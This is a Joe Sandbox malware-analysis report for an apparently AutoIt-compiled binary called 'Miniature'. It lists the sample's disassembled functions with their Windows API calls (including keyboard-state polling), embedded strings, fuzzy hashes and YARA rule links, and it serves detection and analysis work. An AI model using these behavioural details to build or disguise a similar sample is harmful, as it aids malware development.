Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: e6245e5b5986abf3932ab56099900ca93b9e752ac0208136d76df4c036560071
Instruction ID: 02f2eb3f8333637ce52fce36240f0668fd66a88f2ccbbfed9c5bf64bc0c504c7
Opcode Fuzzy Hash: e6245e5b5986abf3932ab56099900ca93b9e752ac0208136d76df4c036560071
Instruction Fuzzy Hash: 0C513071F00305AFDB28CF69CD99AAEBBB6FB88710F248129F515D7294D7719D018B50

Function 00F923F7 Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00F91F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00F92412,?,00000000,?,?,?,?,00F91AA7,00000000,?), ref: 00F91F76

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00F924AF
KillTimer.USER32(-00000001,?,?,?,?,00F91AA7,00000000,?,?,00F91EBE,?,?), ref: 00F9254A
DestroyAcceleratorTable.USER32(00000000), ref: 00FCBFE7
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00F91AA7,00000000,?,?,00F91EBE,?,?), ref: 00FCC018
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00F91AA7,00000000,?,?,00F91EBE,?,?), ref: 00FCC02F
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00F91AA7,00000000,?,?,00F91EBE,?,?), ref: 00FCC04B
DeleteObject.GDI32(00000000), ref: 00FCC05D

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 92bb34014e9ebcf9eef1186d6262fcf2c65e01a73afd4e9e4b9c6c83874806dd
Instruction ID: b34abf4403658e68d71a93c4c338d15855326551470f4c41cfa96f04da889f0b
Opcode Fuzzy Hash: 92bb34014e9ebcf9eef1186d6262fcf2c65e01a73afd4e9e4b9c6c83874806dd
Instruction Fuzzy Hash: DA61AE31941701EFEB75DF18D949B3A77B1FB40322F94852DE48686A58C37AA881FF90

Function 00F92581 Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 00F929AB: GetWindowLongW.USER32(?,000000EB), ref: 00F929BC

GetSysColor.USER32(0000000F), ref: 00F925AF

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: d5b532139496eeea554c1fcafd5a9fafb73bd334d3552c2afb7dd7cbb4187d45
Instruction ID: 5e665aa5e267d9592ad47c768d6db3b384f8c2e87e6af599e41f76f6c50e5c9b
Opcode Fuzzy Hash: d5b532139496eeea554c1fcafd5a9fafb73bd334d3552c2afb7dd7cbb4187d45
Instruction Fuzzy Hash: C841B231400244BFEF715F289888BB93B66FB0A331F294265FDA58A1DAD7358C41FB61

Function 00FA29BE Relevance: 18.0, APIs: 4, Strings: 6, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 00FB0B8B: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00FA2A3E,?,00008000), ref: 00FB0BA7

Part of subcall function 00FB0284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00FA2A58,?,00008000), ref: 00FB02A4

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00FA2ADF
SetCurrentDirectoryW.KERNEL32(?), ref: 00FA2C2C

Part of subcall function 00FA3EBE: _wcscpy.LIBCMT ref: 00FA3EF6

Part of subcall function 00FB386D: _iswctype.LIBCMT ref: 00FB3875

Strings

EA06, xrefs: 00FDFD48
Error opening the file, xrefs: 00FDFD33, 00FDFDAA
Unterminated string, xrefs: 00FE00D6
#include depth exceeded. Make sure there are no recursive includes, xrefs: 00FDFD17
AU3!, xrefs: 00FA2A93
Bad directive syntax error, xrefs: 00FE008F

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-3738523708
Opcode ID: 5cea8e9ceb405dcb74e8ffb3d8e81bd4603bb7ff3f8f1291a0b2b0c8f3709577
Instruction ID: 78c70c957f36335c4d73ff0f895be4c78be234d5992fc9d931963008a622b258
Opcode Fuzzy Hash: 5cea8e9ceb405dcb74e8ffb3d8e81bd4603bb7ff3f8f1291a0b2b0c8f3709577
Instruction Fuzzy Hash: 0C02C3715083419FC724EF24C881EAFBBE5BF86364F04491EF496972A1DB34D949EB42

Function 00FFAEEA Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,01020980), ref: 00FFAF4E
GetDriveTypeW.KERNEL32(00000061,0104B5F0,00000061), ref: 00FFB018
_wcscpy.LIBCMT ref: 00FFB042

Strings

removable, xrefs: 00FFAF80
fixed, xrefs: 00FFAF96
unknown, xrefs: 00FFAFD9
cdrom, xrefs: 00FFAF6A
ramdisk, xrefs: 00FFAFC2
all, xrefs: 00FFAF54
network, xrefs: 00FFAFAC

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: 798f0ea90164fe8bad9ca2795b0ee1b6a047a877178d86cd773581a077214515
Instruction ID: 429d830acfdc2b9773927b56779cac8855ce96ee5e5a6c3422f5d2b5f01cf5bf
Opcode Fuzzy Hash: 798f0ea90164fe8bad9ca2795b0ee1b6a047a877178d86cd773581a077214515
Instruction Fuzzy Hash: 3451BEB15083099BC710EF24CC91AABB7A5FF94314F10481DF6955B2E2EF35ED09EA92

Function 00F94D37 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 00F94D62
__swprintf.LIBCMT ref: 00F94DAC
__i64tow.LIBCMT ref: 00FCDB3B

Strings

False, xrefs: 00FCDB03
True, xrefs: 00FCDAFC
%.15g, xrefs: 00F94DA6
0x%p, xrefs: 00FCDB1D

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: df6692fb47b986df14be0194059ffca114deb499c377fa29a75fe26e48a1d0a6
Instruction ID: 58d2bcdc6bf752bea1a3e0bb596a8744bf41c8a5f471b9edcbff2d8394726e49
Opcode Fuzzy Hash: df6692fb47b986df14be0194059ffca114deb499c377fa29a75fe26e48a1d0a6
Instruction Fuzzy Hash: 1C41E976E04209AFEB34DF74DD42F7A73E8EB45310F20446EE149D7292EA35E902AB10

Function 01017777 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0101778F
CreateMenu.USER32 ref: 010177AA
SetMenu.USER32(?,00000000), ref: 010177B9
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 01017846
IsMenu.USER32(?), ref: 0101785C
CreatePopupMenu.USER32 ref: 01017866
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 01017893
DrawMenuBar.USER32 ref: 0101789B

Strings

0, xrefs: 01017785
F, xrefs: 01017887

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0$F
API String ID: 176399719-3044882817
Opcode ID: dec918598bf11735ab21d5c17bf5c898df4f68dc89b306f8c489dff6e8e9939a
Instruction ID: 18ef9505a45ab20f22f8af7c95e3654d7463b3ab7d96fc45168489bac03c0456
Opcode Fuzzy Hash: dec918598bf11735ab21d5c17bf5c898df4f68dc89b306f8c489dff6e8e9939a
Instruction Fuzzy Hash: E3412874A00209EFEB20DF68D884AAABBF5FF49310F144469FD85A7359D739A910DF50

Function 01017AE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 01017B83
CreateCompatibleDC.GDI32(00000000), ref: 01017B8A
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 01017B9D
SelectObject.GDI32(00000000,00000000), ref: 01017BA5
GetPixel.GDI32(00000000,00000000,00000000), ref: 01017BB0
DeleteDC.GDI32(00000000), ref: 01017BB9
GetWindowLongW.USER32(?,000000EC), ref: 01017BC3
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 01017BD7
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 01017BE3

Strings

static, xrefs: 01017B1B

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: 7cf85650a001cc223fc823863d85172eb3b156fd6aa6dfc0761259c19e268d50
Instruction ID: e90dcf5ab06b24698128b16c854d01b1ebcd34c17a4054f5113ad75c51e5af4f
Opcode Fuzzy Hash: 7cf85650a001cc223fc823863d85172eb3b156fd6aa6dfc0761259c19e268d50
Instruction Fuzzy Hash: 87316F32100219ABEF329F64DC88FDB3B69FF09720F200215FA9596198C73AD850DBA4

Function 00FB7030 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FB706B

Part of subcall function 00FB8D58: __getptd_noexit.LIBCMT ref: 00FB8D58

__gmtime64_s.LIBCMT ref: 00FB7104
__gmtime64_s.LIBCMT ref: 00FB713A
__gmtime64_s.LIBCMT ref: 00FB7157
__allrem.LIBCMT ref: 00FB71AD
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00FB71C9
__allrem.LIBCMT ref: 00FB71E0
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00FB71FE
__allrem.LIBCMT ref: 00FB7215
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00FB7233
__invoke_watson.LIBCMT ref: 00FB72A4

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
Instruction ID: 78db3d2cc836221fc9cc2700ac64a420f9695ea09473328d51f5618c4b5d863b
Opcode Fuzzy Hash: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
Instruction Fuzzy Hash: 3C71E871E04717ABD714BE7ACC82BDAB3B8AF90360F14422AF514E7281E774D940AF90

Function 00FF2CCE Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FF2CE9
GetMenuItemInfoW.USER32(01057890,000000FF,00000000,00000030), ref: 00FF2D4A
SetMenuItemInfoW.USER32(01057890,00000004,00000000,00000030), ref: 00FF2D80
Sleep.KERNEL32(000001F4), ref: 00FF2D92
GetMenuItemCount.USER32(?), ref: 00FF2DD6
GetMenuItemID.USER32(?,00000000), ref: 00FF2DF2
GetMenuItemID.USER32(?,-00000001), ref: 00FF2E1C
GetMenuItemID.USER32(?,?), ref: 00FF2E61
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00FF2EA7
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00FF2EBB
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00FF2EDC

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: adfa3fc0f37e594288a7bd6a061b31233f88e58b378a5b9952f736b8d7cb1c5b
Instruction ID: 5d4572a2f89353391711087d430efcd59b31270615279de033347f4fc864816d
Opcode Fuzzy Hash: adfa3fc0f37e594288a7bd6a061b31233f88e58b378a5b9952f736b8d7cb1c5b
Instruction Fuzzy Hash: 2A619DB190034DAFDB61CF64C888ABFBBB8EF41314F240059FA41A7265D776AD05EB21

Function 01017548 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 010175CA
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 010175CD
GetWindowLongW.USER32(?,000000F0), ref: 010175F1
_memset.LIBCMT ref: 01017602
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 01017614
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 0101768C

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: f041f0630858f15d0f43ea8bedaf3d4d840523266f70a5c0c0530a121624f4d6
Instruction ID: 6198c8a0a61e04233a0592c88dbb343886b8dfcbfb84240b4bdc7e812fa3fbee
Opcode Fuzzy Hash: f041f0630858f15d0f43ea8bedaf3d4d840523266f70a5c0c0530a121624f4d6
Instruction Fuzzy Hash: A5616A75900208AFDB21DFA8CC81EEE77F8FB09710F100199FA95A7291D779AE45DB60

Function 00FE77B6 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00FE77DD
SafeArrayAllocData.OLEAUT32(?), ref: 00FE7836
VariantInit.OLEAUT32(?), ref: 00FE7848
SafeArrayAccessData.OLEAUT32(?,?), ref: 00FE7868
VariantCopy.OLEAUT32(?,?), ref: 00FE78BB
SafeArrayUnaccessData.OLEAUT32(?), ref: 00FE78CF
VariantClear.OLEAUT32(?), ref: 00FE78E4
SafeArrayDestroyData.OLEAUT32(?), ref: 00FE78F1
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00FE78FA
VariantClear.OLEAUT32(?), ref: 00FE790C
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00FE7917

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 5d6aa8d669619fa7bdc3e144166177827b37fbd07535843937440b896d206ed2
Instruction ID: 9646fd356407b8808206dfde3759bfb38ac03d124eaece3bb35ec87be8c0656b
Opcode Fuzzy Hash: 5d6aa8d669619fa7bdc3e144166177827b37fbd07535843937440b896d206ed2
Instruction Fuzzy Hash: C9418E75A002199FDB10EFA5C8489ADBBB8FF18310F10C069F855A7255CB35AA46DFA0

Function 00FF0508 Relevance: 16.6, APIs: 11, Instructions: 120keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00FF0530
GetAsyncKeyState.USER32(000000A0), ref: 00FF05B1
GetKeyState.USER32(000000A0), ref: 00FF05CC
GetAsyncKeyState.USER32(000000A1), ref: 00FF05E6
GetKeyState.USER32(000000A1), ref: 00FF05FB
GetAsyncKeyState.USER32(00000011), ref: 00FF0613
GetKeyState.USER32(00000011), ref: 00FF0625
GetAsyncKeyState.USER32(00000012), ref: 00FF063D
GetKeyState.USER32(00000012), ref: 00FF064F
GetAsyncKeyState.USER32(0000005B), ref: 00FF0667
GetKeyState.USER32(0000005B), ref: 00FF0679

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 9ec224f65744febdc9ef7bb5ef771fc3fb5682fafe5851e54c9460d546c720a1
Instruction ID: 76bd31658f640cb23505c19d2376d75ea570b9ddb1e281a3234a097e334c39ef
Opcode Fuzzy Hash: 9ec224f65744febdc9ef7bb5ef771fc3fb5682fafe5851e54c9460d546c720a1
Instruction Fuzzy Hash: 3F41C530D047CE6DFF308A6484047B6BEA06F51324F0C4059D7C5866D3EEE899D89B96

Function 01008AA5 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 00F94D37: __itow.LIBCMT ref: 00F94D62
Part of subcall function 00F94D37: __swprintf.LIBCMT ref: 00F94DAC

CoInitialize.OLE32 ref: 01008AED
CoUninitialize.OLE32 ref: 01008AF8
CoCreateInstance.OLE32(?,00000000,00000017,01023BBC,?), ref: 01008B58
IIDFromString.OLE32(?,?), ref: 01008BCB
VariantInit.OLEAUT32(?), ref: 01008C65
VariantClear.OLEAUT32(?), ref: 01008CC6

Strings

Failed to create object, xrefs: 01008B63, 01008C19
Invalid parameter, xrefs: 01008BE4
NULL Pointer assignment, xrefs: 01008B9D

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: 4581a976866018e5751c96dddfaf71ba58366a3f0ddb97439d77135e5ecf31bf
Instruction ID: 75a9c35cf223767900b853f128354a24ab5220b0a37fb13da11f62ab898daac3
Opcode Fuzzy Hash: 4581a976866018e5751c96dddfaf71ba58366a3f0ddb97439d77135e5ecf31bf
Instruction Fuzzy Hash: EF619F70A047059FE722DF54C884E6EBBE8BF84714F00885EF9C59B291D774E944CB92

Function 00FFBB06 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00FFBB13
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00FFBB89
GetLastError.KERNEL32 ref: 00FFBB93
SetErrorMode.KERNEL32(00000000,READY), ref: 00FFBC00

Strings

READY, xrefs: 00FFBBD9
INVALID, xrefs: 00FFBBD2
NOTREADY, xrefs: 00FFBBBF
UNKNOWN, xrefs: 00FFBBB8
READONLY, xrefs: 00FFBBCB

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 4b6138a81f37c2d03e5e9dd92d97c38f9e9ffbfd9f29d3848ee1775a3ff0cdfd
Instruction ID: 7b6295e2a907a0156b43aa186bf69af7c5e716d92374f46f0f20298454b0963b
Opcode Fuzzy Hash: 4b6138a81f37c2d03e5e9dd92d97c38f9e9ffbfd9f29d3848ee1775a3ff0cdfd
Instruction Fuzzy Hash: 5E31C335A0020DAFCB10EF69C885EB9B7B4FF84314F14806AEB05D72A5DB759901EB50

Function 00FE9B47 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA1A36: _memmove.LIBCMT ref: 00FA1A77

Part of subcall function 00FEB79A: GetClassNameW.USER32(?,?,000000FF), ref: 00FEB7BD

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00FE9BCC
GetDlgCtrlID.USER32 ref: 00FE9BD7
GetParent.USER32 ref: 00FE9BF3
